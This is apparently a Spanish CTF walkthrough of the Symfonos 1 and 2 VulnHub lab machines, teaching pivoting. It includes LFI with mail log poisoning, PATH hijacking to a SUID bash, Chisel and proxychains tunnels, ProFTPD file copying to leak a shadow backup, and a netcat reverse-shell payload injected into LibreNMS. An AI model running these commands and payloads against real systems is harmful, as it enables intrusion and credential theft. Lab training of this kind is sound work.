
Symfonos 1 y 2 | S4vitar | Pivoting I
Introducción al Pivoting.
Bueenos días/tardes/noches hackerss, hoy vamos a montarnos un laboratorio de máquinas vulnerables para aprender un poco de Pivoting(Moverse lateralmente para comprometer otro dispositivo).

¿Y cómo saltas de Symfonos 1 a Symfonos 2?.
Symfonos 1 es capaz de ver a Symfonos 2 gracias a otra tarjeta de red que permite ver otras máquinas, en este caso Symfonos 2.
Una vez entendido el concepto vamos a realizar la configuración del laboratorio.
Configuración del laboratorio
Partimos de las máquinas ya preparadas en VirtualBox con modo puente. Al realizar un escaneo de red se pueden ver las dos máquinas y esa no es la idea, para solucionar esto vamos a configurar una red NAT, para ello vamos al siguiente apartado de configuración: Máquina > Herramientas > Administrador de red y la pestaña de redes NAT, ahí le damos a crear y en mi caso voy a utilizar el rango 192.168.100.0/24.
El siguiente paso es añadir un Adaptador de red extra a Symfonos uno, indicándole que sea de tipo red NAT y exactamente la creada por nosotros. Actualmente deberemos tener dos tarjetas de red, la primera modo puente y la segunda red NAT.
En la configuración de red de Symfonos2 debemos sustituir el modo puente por el modo NAT indicado y así las dos máquinas podrían verse entre ellas.
Ahora si levantamos las dos máquinas y realizamos un escaneo podemos apreciar que solo vemos una máquina(Symfonos1)
1 | sudo arp-scan -I wlan0 -l |
Recomiendo realizar una instantánea de cada máquina por si tenemos cualquier problema no tener que volver a realizar el mismo proceso.
Reconocimiento
Preparación de directorios.
Como buen hacker perezoso que soy dispongo de una pequeña función(en este caso en mi zshrc, podías utilizarlo en la bashrc) que me crea los directorios de trabajo para no ir uno a uno(Idea obtenida de s4vitar)
1 | mkt () { |
Podéis poner lo que queráis, en este caso tengo tres directorios y un fichero write-up.md con el nombre de la carpeta padre(Symfonos-write-up.md)
Escaneo red interna
El escaneo de red ya lo hemos realizado antes con arp-scan, también podemos utilizar otras herramientas cómo netdiscover. Recordar que esto es un CTF, estamos usando modos activos que generar mucha traza y en un entorno real pueden levantar sospechas y ser detectado, en un entorno real un método sería mantenerse a la escucha analizando la red y ir obteniendo información de los equipos.
¿Equipo operativo?
Le lanzamos una traza ICMP(un ping de toda la vida) para comprobar la operatividad del equipo víctima.
1 | ping -c 1 192.168.1.178 |

En la imagen se puede apreciar que el ttl=64, si miramos está página podemos ver que cada sistemas operativo tiene un tiempo de respueta por defecto, esto no significa que haya podido ser modificado.
Escaneo de puertos
Disponemos de veintemil herramientas de escaneo de puertos, aquí solo voy a realizar la enumeración de forma activa
1 | sudo nmap -p- --open -sS --min-rate=4500 -vvv -n -Pn 192.168.1.178 -oG ToLosPuertos |
-p- -> Escaneamos todo el rango de purtos(0-65535).
–open -> Indicamos que solo queremos mostrar los que están abiertos.
-sS -> Uso de Syn Scan o también conocido cómo half-open scan. En lugar de completar el three-way-hanshake(SYN -> SYN/ACK -> ACK) el escaneo envía un paquete RST tras recibir el SYN/ACK identificado puertos rápidamente y reduciendo la posibilidad de ser detectados por un firewall(aunque esto nos da igual ahora).
–min-rate=4500 -> Establece la tasa mínima de paquetes enviados. No recomiendo subir más porque puede provocar que se salte puertos.
-vvv -> Triple verbose. Queremos que nos de un chorro de información por la consola.
-n -> Evitamos la resolución DNS(No intentará convertira la ip en nombre de dominio).
-Pn -> Desactivar la opción host discovery. Esto significa en cristiano que comprueba si el host está encencido antes de escanearlo(lo hemos antes con el ping).
-oG -> Exportamos la información obtenida en un archivo con formato grepeable(que a continuación veréis porque).
Dispones de otras alternativas como naabu de projectdiscovery que también es muy potente.
1 | naabu -Pn -host 192.168.1.178 |
Vamos a utilizar extractPorts, otra función definida en la zshrc robada a s4vitar para mostrar los puertos encontrados y copiarlos a la clipboard(recuerdo que estoy utilizando Arch Linux con Hyprland por eso utilizo wl-copy, si utilizas kali linux/parrot deberías cambiarlo a xclip -sel clipboard)

Servicios y versiones de los puertos
Una vez copiados en la clipboard vamos a buscar la versión y el servicio extra que corren sobre dichos puertos.
Para ello vamos a lanzar unos script básicos de reconocimiento.
1 | sudo nmap -sCV -p22,25,80,139,445 192.168.1.178 -oN targeted |

TIP!
Podemos sacar el codename(nombre informal de la versión) de la máquina víctima, para ello vemos que en la línea del puerto ssh, en la versión nos aparece esto:
- OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
Y si buscamos esto en Google? -> OpenSSH 7.4p1 Debian 10+deb9u6.
Query de Google -> launchpad OpenSSH 7.4p1 Debian 10+deb9u6
En mi caso, en el primer resultado de búsqueda, al darle podemos apreciar que es un Debian Stretch.
Más abajo tenemos el puerto 80 de http, podemos realizar lo mismo y en caso de que no sea el mismo codename o otro SO podríamos pensar que hay contenedores con Docker pero no es el caso.
Antes de abrir el navegador para ver que ahí(se que estáis deseosos pillines) podéis usar si os interesa la herramienta whatweb que es como la extensión Wappalyzer, pero desde consola:
1 | whatweb http://192.168.1.178 |

Primera exploración desde el navegador
Abrimos el navegador y vemos las tecnologías utilizadas con Wappalizer, podemos ver que la versión de apache no es la última(está es la 2.4.62) y podemos buscar diferentes cve en cve mitre. Podemos apreciar diferentes vulnerabilidades aunque no nos servirían para la explotación de la máquina, además, los tiros no van por aquí.
Revisamos el código fuente de la página(ctrl + u), vacío, no voy a poner ni una captura.
La consola y sus diferentes herramientas, tampoco vemos nada por ningún sitio.
Listar recursos compartidos de Samba
Si vemos el archivo del escaneo de puertos anterior, podemos ver el puerto 139 y el 445 incluso que la autenticación esta activada, pero no se pide.
Podemos probar a listar los recursos compartidos con smbmap:
Uso de smbmap(fallido)
1 | smbmap -H 192.168.1.178 |
En este caso, dado un problema no encontrado a día de hoy con la herramienta no podemos utilizarla, pero no pasa ni media chicosss tenemos un montón de alternativas.
Null session con smbclient
1 | smbclient -L //192.168.1.178 -N |
De esta forma no podremos ver los permisos directamente como con smbmap

Podemos acceder y ver el contenido del directorio anonymous:
Nos debemos de meter dentro del recurso compartido:
1 | smbclient //192.168.1.178/anonymous -N |
Y ahora podemos hacer un ls y ver los archivos, consecutivamente utilizamos el comando get para traernos el archivo a nuestro sistema local.
1 | get attention.txt |


Pues viendo este mensaje realista podemos apreciar tres posibles contraseñas y un usuario. También estas contraseñas me suenan a rockyou… aunque no se si tendrá algún sentido en el futuro. De momento nos apuntamos las contraseñas en un archivo passwords.txt y el usuario en usernames.txt.
Recordamos que esta máquina tiene el servicio ssh abierto, podmeos realizar un ataque por fuerza bruta para ver si algunas de estas contraseñas es válido para dicho usuario(y si cuela, recuerda que estamos en un CTF)
1 | hydra -l zeus -p passwords.txt |

Enumeración de usuario mediante SSH
En el archivo tarteged podemos apreciar que la versión de ssh es menor a la 7.7, esto significa que nos permite enumerar usuarios de forma válida, para ellos utilizamos searchsploit:
1 | searchsploit ssh user enumeration |

Aunque sea una versión inferior, esta vulnerabilidad puede estar parcheada igualmente, pero vamos a comprobarlo.
Nos lo descargamos con:
1 | searchsploit -m linux/remote/45939.py |
En mi caso lo voy a renombrar con un nombre más identificable a primera vista(ssh_enum_user.py)
Voy a tener que utilizar un entorno virtual porque en arch no deja utilizar pip con el fin de no ocasionar conflictos con los paquetes del sistema.
1 | # Instalamos virtualenv para python2 |
Y ahora podemos comprobar si es válido la enumeración de usuarios a través de sss:
1 | python2 ssh_enum_user.py 192.168.1.178 root 2>/dev/null |

Podemos apreciar que no funciona, así que a otra cosa mariposa.
Para salir del entorno virtual usa la palabra deactivate.
Acceso al usuario helios desde samba
Cuando nos conectamos con smbclient, vimos un recurso compartido llamado helios y en el comentario decia “Helios personal share”
¿Y si probamos a conectarnos con helios a dicho recurso usando el protocolo smb?
Lo primero de todo es añadirlo a nuestro “diccionario” de usuarios, a continuación, probamos a conectarnos y probamos las contraseñas(en este caso podemos una a una porque son tres)
1 | smbclient -L //192.168.1.178/helios -U helios |
Y con la contraseña qwerty vemos que nos deja listar. A continuación procedemos a entrar como dicho usuario.
1 | smbclient //192.168.1.178/helios -U helios |

En el archivo todo.txt podemos encontrar diferente información:

De aquí nos fijamos en el directorio encontrado y lo abrimos en el navegador.

¿Pero porque se ve así de feo?
Virtual hosting
Si hacemos ctrl+u para ver el código fuente opdemos encontrar que esta cargado los recursos desde symfonos.local, pero claro, mi equipo no conoce este dominio.

Para solucionar esto deberemos modificar el /etc/hosts de nuestro equipo y añadir dicho nombre de dominio.

Ya solo con recargar la página web podemos apreciar que cargan los recursos y podemos hacer ping perfectamente.

En la página podemos apreciar que el post lo ha realizado admin, entonces ya sabemos que es un usurio válido.
Podemos abrir wappalyzer y vemos la versión de wordpress y jquery, podemos apreciar que son algo obsoletas y tienen expuestas algunas vulnerabilidades, aunque no nos interesa para resolver este CTF.
Enumeración de plugins de Wordpress
En lugar de utilizar WPScan y automatizar las cosas vamos a seguir de forma manual, puede ser algo más tedioso y complicado para algunas personas, pero si quieres ser un buen hacker debes acostumbrarte a seguir esta metodología.
Empezamos comprobando si el directorio /wp-content/plugins/ tiene capacidad de directory listening, pero este esta vacío.
Si volvemos al código fuente podemos enumerar alguno de ellos a simple vista(ojo no tiene porque aparecer todos los plugins en el código fuente). Podemos utilizar este oneliner para recoger todos estos plugins.
1 | curl -s -X GET "http://192.168.1.178/h3l105/" | grep "wp-content" | grep -oP "'.*?'" | grep "symfonos.local" | cut -d '/' -f 1-7 | sort -u | grep plugins |
- curl -s -X GET -> Realizamos una petición con el modo silencioso(-s) y por el método GET(-X)
- grep “wp-content” -> Obtenemos las líneas que contengan wp-content.
- grep -oP “‘.*?’”* -> Expresión regular para ibtenemos todo el contenido que está entre comillas siples(‘’).
- grep “symfonos.local” -> Nos quitamos otros matches no deseados.
- cut -d ‘/‘ -f 1-7 -> Utilizamos cut con delimitador(-d) para indicar que queremos que nos muestre hasta la séptima barra.
- sort -u -> Ordenamos alfabéticamente y quitamos los matches repetidos.
- grep plugins -> Filtramos por plugins.

¿mail-masta?
En el escaneo de puertos vimos el puerto 25 abierto, SMTP servicio de correo electrónico.
Explotación
LFI
Dadas estas coincidencias podemos buscar con searchsploit
dicho plugin.
1 | searchsploit mail masta |

Revisamos el txt searchsploit -x 40290.txt
y encontramos la ruta vulnerable al LFI -> /wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

Y efectivamente, logramos el LFI.
Script en bash para realizar el LFI desde consola
¡Genial!, hemos comprobado que podemos leer archivos, por lo que es más cómodo creándonos un script en bash para trabajar de manera más cómoda:
1 |
|

No es el mejor script, pero funciona, ya os dejo a vostros restructurarlo y mejorarlo.
LFI to RCE. Log poisoning.
Primero de todo, en el /etc/passwd podemos ver que usiarios disponen de una shell asignada, en este caso nos aparece el usuario root y helios.
Hemos visto que la máquina tiene el ssh abierto.
¿Y sí el usuario helios dispone de una key para conectarse?
Intento de visualización de clave privada ssh de helios
Ver la clave privada de helios
1 | /home/helios/.ssh/id_rsa |
Listar procesos en ejecucción
Podemos intentar listas procesos desde el /proc/schedstat
No nos sale nada de información útil…
Puedes probar con /proc/scheddebug, pero tampoco encuentra nada.
Apache, ssh, mail Log poisoning
Comprobamos si los logs están disponibles, comprobando si podemos ver algunas de las siguientes rutas(por defecto):
- /var/log/apache2/access.log (apache)
- /var/log/auth.log (ssh)
- /var/mail/helios (smtp)
Este último archivo si lo podemos ver:

Genial!, podemos aprovechar que estamos en una ruta donde se esta ejecutando un código .php(count_of_send.php) para intentar mandar código php y que se interprete.
¿Cómo podemos generar logs en dicho fichero?
Podemos enviar un mail con telnet aunque también lo puedes hacer con netcat:
1 | # Nos conectamos a la máquina por el puerto 25 |

Comprobamos el fichero de log:

Vemos que no aparece el contenido, ¿lo habrá interpretado?
1 | curl -s -X GET 'http://192.168.1.178/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id' |

Conectarse con netcat
Vamos a ganar acceso al equipo conectándonos con netcat, para ellos podemos comprobar que netcat esta instalado, para debemos de poner which+nc, recuerda URL encodearlo para que funciona(en este caso solo el espacio).
Vemos que sí, pues podemos lanzar una shell hacía nuestro equipo de la siguiente manera:
1 |
|

En el último comando(hostname -I) podéis apreciar que hay dos tarjetas de red verdad?…:)
Tratamiento de la TTY
Pero vemos que esta rara, no parece una terminal a la que estamos acostumbrados.
Para ello nos podemos lanzar una pseudoconsola, simulamos una nueva sesión de una bash sin dejar el registro predeterminado que deja script porque lo estamos dirigendo al /dev/null:
1 | script /dev/null -c bash |
No pasa nada si veis el prompt raro, esto es porque
las proporciones no son las adecuadas con las nuestras.
A continuación realizamos un ctrl+z.
1 | stty raw -echo; fg |
Ahora puedes realizar ctrl+c(antes se te salia de laconsola), pero no podemos hacer ctr+l para limpiar la pantalla, para eso utilizamos:
1 | export TERM=xterm |
Para adecuar las proporciones de la nuevas terminal, debemos obtener las proporciones de una terminal nuestra identica de tamaño y poner el siguiente comando:
1 | stty size |
Los resultados obtenimos los vamos a introducir a la máquina víctima:
1 | stty rows 20 columns 84 |
Ahora veremos que se ha corregido el prompt y podemos hacer un nano para ver que las dimensiones son correctas.
Escalada de privilegios
Una vez aquí antes de raelizar la escalada, podemos ver contra que sistema operativo estamos, para ello utilizamos el comando lsb_release -a y podemos apreciar que es un stretch como vimos anteriormente el codename

Utilizamos el comando id y vemos que no hay ningún grupo interesante, buscamos por archivos con privilegios SUID(Nos permite ejecutar un archivo como si del propietario tratarse, preferiblementpreferiblementestos casos):
1 | find / -perm -4000 -user root 2>/dev/null |

Si miramos con file lo que es, vemos que es un binario compilado de 64 bits para Linux.
Si probáis a ejecutarlo, veréis que os saldrá un output similar al del comando curl, si miramos con con strings para ver los caracteres legibles y usando less para empezar desde arriba:
1 | strings /opt/statuscheck | less |

¿Qué podemos intuir aquí?
Que no se están ejecutando rutas absolutas(/usr/bin/curl), al cometer este fallo podemos realizar path hijacking, sucedería lo mismo si estuvieramos importando librerías de algún sitio sin usar rutas absolutas, Library Hijacking.
Path Hijacking
Esta técnica aprovecha el uso de ruta relativa en lugar de absoluta, cuando no explicas donde está situado dicho binario, automáticamente, empieza a recorrer el PATH(echo $PATH), hasta que encuentra el binario en alguna de las rutas indicadas, en este caso, curl estaría en /usr/bin/.
Podemos aprovecharnos de esto modificando el PATH y añadiendo una ruta antes de la mencionada, así se ejecutaría el programa que se llame curl(que vamos a crear nosotros) en la nueva ruta que añadamos. Y si recordamos lo que he comentado anteriormente, este archivo es ejecutado como root(al igual que curl que está dentro de él).
Vamos a crear el archivo curl, en este caso me voy a ir al directorio /dev/shm/ que es el útilizado para la memoria RAM, son datos temporales(cuando se reinicie la máquina se borran) y de gran velocidad.
1 | # Creamos un fichero llamado curl |
Al asignarle privilegios SUID a la bash todo el usuario que invoque una nueva bash esta será iniciada por el usuario root y se la devolverá con dicho usuario.
Ahora vamos a modificar el path para que encuentre nuestro archivo como antes hemos comentado:
1 | # Puedes poner el directorio local (.) o /dev/shm o donde estes |

Ejecutamos el programa: /opt/statuscheck
¿Porque no se ve nada de output?
Porque el curl ha sido secuestrado y se utiliza el curl creado por nosotros.
Checkar que la bash se le ha asignado permisos, deberías apreciar una s
1 | ls -l /bin/bash |
Y utilizamos el siguiente comando para elevar los privilegios.
1 | bash -p |
- -p: -p de privilageeeee.
Fijate que no hace falta poner sudo delante porque la bash es SUID.

Puedes ver la flag de root, aunque en Vulnhub no sirve para nada:

Empezamos el pivoting
Para hacer el pivoting no hacía falta disponer de root, pero marcamos como completa la máquina.
Host discovery
Vamos a crear un archivo bash ejecutable(darle permisos de ejecucción).
- /dev/shm: Archivos almacenados en RAM, son más rápidos, pero se borran al reiniciar el archivo.
En este caso lo voy a llamar hostDiscovery.sh y va a tener el siguiente contenido:
1 |
|

Podeis apreceiar que aparecen muchas IP, pero estás son generadas por la forma que se crea el adaptador NAT en virtualbox, nuestra ip es la 192.168.100.4 y otra máquina que está conectada es la 192.168.100.5.
Con los siguientes comandos podemos descubrir para que son algunas ips generadas con virtualbox:
1 | VBoxManage list natnetworks |
192.168.100.3 -> Servidor DHCP.
192.168.100.2 -> No aparece, pero puede que sea el name server.
192.168.100.1 -> Default gateway. Se conecta con nuestro equipo host y manda el tráfico por internet.
Un truco, si en la máquina Symfonos 2 no os muestra la ip, os aparece localhost(127.0.0.1) a mi me ha funcionado apagar las dos máquinas y encender primero Symfonos2 y luego Symfonos1.
Port scanning
Puedes subir un binario compilado de nmap o te puedes crear tu propia utilidad:
Os recomiendo copiaros hostDiscovery.sh y llamarlo portDiscovery.sh ya que vamos a reutilizar parte del script.
1 |
|
- echo ‘’ /dev/tcp/192.168.100.5/$port: Intenta establecer una conexión mediante TCP al host y puerto indicado.
- 2>/dev/null: Al establecer la conexión no emite ningún tipo de output así que solo con no mostrar los errores vale.
El programa puede tardar un rato en ejecutarse, si no os funciona ctrl+c podéis utilizar ctrl+z y en caso de no ver el cursor poner tput cnorm como en el script.
Túnel proxy con Chisel.
Vamos a montarnos un túnel con Chisel para poder tener accesible los puertos de la máquina víctima.
El primer paso es descargarnos Chisel, recomiendo ir a las releases y descargar la última versión disponible, si utilizas arch puedes instalarlo mediante AUR(chisel-jpillora) o añadiendo los repositorios de black arch y descargarlo con pacman.
En caso de descargar la última release desde github o al hacer la copia de /usr/bin/chisel, si quieres reducir el peso del ejecutable ya que está en go, puedes utilizar los siguientes comandos:
1 | # Para ver el peso del archivo |
Para pasar el archivo nos creamos un servidor web en python en el directorio donde está chisel(por defecto ya tiene directory listening activado y podemos ver los activos y descargarnoslos-
1 | python3 -m http.server 80 |
Para descargarlo en la víctima sería con un simple wget:
1 | wget http://192.168.1.160/chisel |
Le aplicamos permisos de ejecucción:
1 | chmod +x chisel |
Bien, ya disponemos del chisel en las dos máquinas pues vamos a conectar las máquinas, primero empezamos con la máquina atacante(si tu máquina melón):
1 | chisel server --reverse -p 1234 |
server: Configurar Chisel en modo servidor, esperando conexiones de clientes.
–reverse: Configuración para túneles reversos. El cliente inicia la conexión en lugar del servidor y una vez conectado el servidor recibe conexiones del cliente para redirigir el tráfico.
-p 1234: Indicas el puerto de conexión.
Tu puedes llevarte puerto por puerto de la máquina que no ves a tu equipo:
1 | ./chisel client 192.168.1.160:1234 R:80:192.168.100.5 |
Pero no esto no nos interesa porque es muy tedioso, así que vamos a utilizar la siguiente forma:
1 | ./chisel client 192.168.1.160:1234 R:socks |
client: Indicamos que nos queremos conectar como cliente.
R:socks: SOCKS5 permite redirigir el tráfico de toda máquina alcanzable desde la víctima.
Una vez nos salga el mensajito de session detectada, podríamos utilizar proxychains(/etc/proxychains.conf) y añadir abajo de todo la conexión(si se cierra alguna conexión el túnel se cierra):
Con proxychain podemos enrutar el tráfico de los programas que ejecutemos en nuestro equipo a través del proxy creado, así es cómo si estuvieramos en la máquina víctima.

Si probamos a testear si el puerto 80 de la máquina que “no vemos” está abierto con nmap:

¿Pero porque no va, si hemos añadido el proxy?
Vamos a realizar tres cambios:
1 | proxychains nmap -p80 --open -T5 -v -n 192.168.100.5 -sT -Pn |
proxychains: Añadimos proxychains para indicar por donde va a ir la información(en este caso por el proxy que le hemos indicado en el archivo de configuración).
-sT: Utiliza el formato tradicional del three-handshake, es más lento y menos sigiloso, pero funciona bien a través de proxies. Utiliza directamente la pila del SO(incluye protocolos cómo TCP, UDP…)
-Pn: No queremos que nos descubra host a través del protocolo ARP.
Importante. Si tenemos otra línea de proxy y no funciona, recomiendo comentarla(en mi caso tenía la de tor). Si quires quitar los mensajes que salen por consola de proxychains puedes utilizar el parámetro -q de quiet.

Y vualá, podemos apreciar que el comando ha funciona.

Reconocimiento Symfonos2
Escaneo de puertos
Genial, una vez entendido como podemos ejecutar comandos a través de un túnel, vamos a escanear los puertos de la máquina Symfonos 2:
1 | roxychains -q nmap --top-ports 500 --open -T5 -v -n 192.168.100.5 -sT -Pn -oG allPorts | grep -vE "Discover" |
- –top-ports 500: Solo escaneamos los 500 puertos más importantes ya que el escaneo mediante el parámetro -sT es más lento.
- grep -vE “Discover”:Con la v mostramos los resultados que no coinciden con lo buscado, con -E podemos utilizar expresiones regulares, ej: quieres excluir varias líneas con diferentes palabras “Discover|Open”.
Recordar que tenemos la utilidad extractPorts ya mencionada en el primer escaneo. El siguiente paso es enumerar la versión y servicio que corresponde con cada puerto, para eso podemos utilizar unos scripts de reconocimiento de nmap
1 | proxychains -q nmap -sT -Pn -sCV -p21,22,80,139,445 192.168.100.5 -oN targeted |
- -sT: Seguramente tengamos que arrastrar este parámetro en más de un comando, nmap por defecto usa SYN Scan(-sS) si el usuario no tiene permisos manda paquetes raw, TCP connection Scan(-sT) más fácil de detectar y más lento. Yo lo indico para saber en cada momento que estamos haciendo.

Exploración desde el navegador
¿Cómo podemos abrir esto desde el navegador?
Nosotros ponemos 192.168.100.5 en la URL y no nos carga el recurso, claramente es porque no tenemos acceso, desde la terminal utilizabamos proxychain, aquí en lugar de lanzar firefox con proxychains podemos descargarnos la extensión/addon Foxyproxy y añadir una entrada como la siguiente:

No os olvideis darle a guardar!.

Antes de ir por la web, vamos a ver que encontramos con smb, ya que el puerto 139 y 445 están abiertos.
Enumeración smb
1 | proxychains -q smbclient -L //192.168.100.5 -N |

Probamos a meternos a anonymous y descargarnos los archivos que existan.

Si miramos este archivo totalemte realista, podemos encontrar varias cosas extrañas como el backup del /etc/shadow en /var/backups/shadow.bak, pero si bajamos un poco podemos encontrar el usuario aelous que esta compartiendo mediante smb el siguiente directorio /home/aeolus/share(en smb el directorio de anonymous).

FTP
Volvemos al archivo targeted y vemos que el puerto 21 es un servicio ftp y la versión es ProFTPD 1.3.5(ProFTPD es un tipo de software para ftp) podemos apreciar que la versión esta algo anticuada(si buscas en internet te saldrá la última, 1.3.9).
Y si hacemos una rápida busqueda con searchsploit:
Lo suyo es ir probando uno por uno, pero para facilitar las cosas, el único que nos va a servir de ayuda es el último:

Vamos a inspeccionarlos con searchsploit -x linux/remote/36742.txt
Esta vulnerabilidad nos permite(sin estar autenticados) copiar un recurso de origen(site cpfr /etc/passwd) a un recurso de destino(site cpto /tmp/passwd.copy).
Entramos al servidor ftp
1 | proxychains -q ftp 192.168.100.5 |
Y este nos pedirá unas credenciales, puedes probar las que quieras, verás que no tendrás acceso, a continuación, te saldrá un 530, pero, si utilizamos el comando help podemos apreciar que el comando site está disponible.
A partir de aquí nos debemos de hacer dos preguntas:
- ¿Qué copiamos de origen?
- ¿Y a dónde lo copiamos de destino?
Recordar que antes hemos visto una ruta donde se almacena una copia de seguridad del archivo shadow(/var/backups/shadow.bak), vamos a copiar dicho archivo:
1 | site cpfr /var/backups/shadow.bak |
En el archivo log.txt también hemos visto que la carpeta compartida por SMB a la que hemos accedido antes(anonymous) estaba en la siguiente ruta del sistema: “/home/aeolus/share”, así que vamos a copiar el archivo ahí:
1 | site cpto /home/aeolus/share/shadow.bak |

Accedemos al recurso compartido y nos descargamos el archivo:
1 | proxychains -q smbclient //192.168.100.5/anonymous -N |


John the ripper para crackear shadow
Con la herramienta John the ripper podemos intentar crackear los hashes existentes en este archivo.
Un truco, si tienes el comando locate y no te acuerda donde tienes un archivo es una ruta muy larga, puedes utilizar lo siguiente para agilizar el proceso.
Si utilizas una zsh puedes ejecutar comandos que esten contenidos en $(), para ello te vas al paréntesis de cierre y dándole al tabulador se ejecuta el comando y se cambie por el output, ej:
1 | john -w:$(locate rockyou.txt) 192.168.100.5 shadow.bak |
En mi caso tengo el archivo en la siguiente ruta:
1 | john -w:/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt shadow.bak |

🏆 Premio!. Podemos ver que nos encuentra la contraseña de auelus: sergioteamo.
Entramos mediante ssh
Usuario y contraseña, ¿dónde puedo probar esto?. Tenemos el servidor ssh abierto por el puerto 22, vamos a darle un intento:
1 | proxychains -q ssh aeolus@192.168.100.5 |

Explotación servicio web oculto.
Para poder hacer el ctrl+L:
1 | export TERM=xterm |
Comprobamos la versión del sistema operativo:
1 | lsb_release -a |

Intentamos listar los permisos de sudo para este usuario:
1 | sudo -l |
Nos pide contraseña, introducimos sergioteamo, pero apreciamos que dicho usuario no puede utilizar sudo.

Mostramos los procesos que se están ejecutando en el sistema:
1 | ps -faux |
- f: Forest. Muestra los procesos en un formato árbol.
- a: All. Incluye todos los procesos aunque no sean de este usuario.
- u: User. Información legible para los humanos y más información cómo usuario propieatrio del proceso, comando ejecutado, uso de CPU…
- x: Procesos no vinculados a ninguna terminal, procesos en segundo plano.
De un vistazo rápido nada.
Podemos ver los puertos abiertos:
1 | # No existe en la máquina |
- ss: Sockets Staticks. Para mostrar conexiones sobre conexiones de red.
- -n: Muestra las direcciones ip y elimina la resolución DNS.
- l: Muestra solo los socket en estado listening(los que estan a la espera de conexiones entrantes)
- t: Filtra por las conexiones TCP.
- -p: Información sobre los procesos asociados a cada socket, ej: nombre, PID.
Podemos apreciar diferentes puertos que no veiamos desde fuera, esto se debe a las diferentes configuraciones de firewall, algunos puertos nuevos por ejemplo serían el 3306, 8080


¿Cómo podemos utilizar dicho puerto?
Acceso a servicios internos mediante ssh tunneling.
Para ello podemos utilizar ssh para crear un túnel(redirección de puertos).
Antes, podemos checkear que el puerto no tenga ningun servicio corriendo con el comando lsof -i:8080.
1 | proxychains -q ssh aeolus@192.168.100.5 -L 8080:127.0.0.1:8080 |
- -L: Local Port Forwarding. Esto nos permite que un servicio remoto este accesible localmente, también tienes -R, pero es para remote port forwarding, llevar el servicio de un puerto de la máquina donde estás a la que te conectas.
Recuerda que estas utilizando proxychains y todo el tráfico en realidad va desde Symfonos1.

Genial, vemos este panel de login de LibreNMS, programa utilizado para la monitorización de red del sistema y recordamos que tenemos contraseñas, aeolus:sergioteamo y podemos probar si se reutilizan estas:
En la siguiente imagen se puede apreciar un error que suele salir por introducir mal las credenciales:

La reutilización de contraseñas es válida y podemos acceder al panel:

RCE en servicio web interno
Vamos a buscar al tuntun con searchsploit y vamos a inspeccionar(searchsploit -x php/webapps/47044.py) el siguente script en Python para entender como funciona y poder realizarlo nosotros de una manera más manual.

Al inspeccionar el script podemos ver que el payload es una reverse shell(de monkey pentester en versiones antiguas de netcat)

Si buscamos por payload en el script, podemos apreciar que existe una función que se llama create_new_device a la que le pasa una url y en la petición, en el campo community le inyecta el payload.

Al final le añade a la url /addhost/
Para crear un nuevo dispositivo en la web seguimos el siguiente orden Devices > Add Device y una vez aquí solo tenemos que tener cuidado de dos campos:
- community: Que es donde se va a realiza la inyección de la reverse shell.
- Force add: en la función create_new_device en el script en python indica que está en ON(activado/marcado)
En la máquina Symfonos 2 nos pondremos en escucha por el puerto 4646:
1 | nc -nlvp 4646 |
Indicamos que la ip de la reverse shell es la de la máquina SYMFONOS2, porque vamos a probar que funciona, más adelante indicaremos que es la de SYMFONOS1.
1 | '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.100.5 4646 >/tmp/f) # |

Pero aún no hemos ganado acceso, ¿porque?. Si seguimos mirando el script en python vemos que abajo hay otra función llamada request_exploit

En esta función podéis ver que utiliza el id “capture”, capture está en Devices > All Devices > Generic > reverse_shell > Settings(icono de engranaje) > Capture
En la pestaña de SNMP si le das a run llama a /ajax_output.php y está es la manera que han tenido de automatizarlo. Si tu le das a run debería llegarte la conexión.


Uso de Socat para reverse shell
Socat establece conexiones bidireccionales entre dos puntos de comunicación, podemos usar esto a nuestro favor.
- La IP de la reverse shell es la de Symfonos 1.

- Redirigimos el tráfico con socat(todo lo que entre por el puerto 4646 que se mande al puerto 4646 de la máquina atacante).
Antes de esto debemos tener una conexión activa para poder realizar todo el proceso, vamos a establecer la conexión con Symfonos1, mediante el curl que hicimos al principio que nos enviaba una reverse shell a nuestro equipo atacante. Vamos a cambiarnos a root(recordar que podemos ejecutar bash -p).
Comprobamos que socat esta instalado(which socat) si no recuerda que puedes subirle un binario sin problema)
Redirigimos el tráfico:
1 | socat TCP-LISTEN:4646,fork TCP:192.168.1.160:4646 |
Dejamos esto abierto para que no se cierre el túnel.
- Nos ponemos en escucha desde la máquina atacante:
1
nc -nlvp 4646
- En la web nos vamos al dispositivo creado y ejecutamos el exploit(nos vamos a SNMP y le damos a run)

GENIAL!. Ya hemos conseguido traernos la reverse shell donde está el usuario cronus a nuestro máquina atacante, a continuación se realizaría el tratamiento de la tty como hemos visto en los pasos anteriores.
Si intentas hacer un Remote Port Forwarding con Chisel no podrás porque Chisel no permite la bidireccionalidad, esto significa que no enviaría el tráfico a la máquina atacante y al intentar conectarte de esta al puerto te dirá que ya está ocupado.
Root Symfonos 2
Si usamos el comando:
1 | sudo -l |
Podemos apreciar que el usuario cronus puede ejecutar como root mysql:

Si buscamos en gtfobins por mysql podemos ver que puede usar sudo para escalar privilegios, si pinchamos en él, nos sale lo siguiente:
1 | sudo mysql -e '\! /bin/sh' |
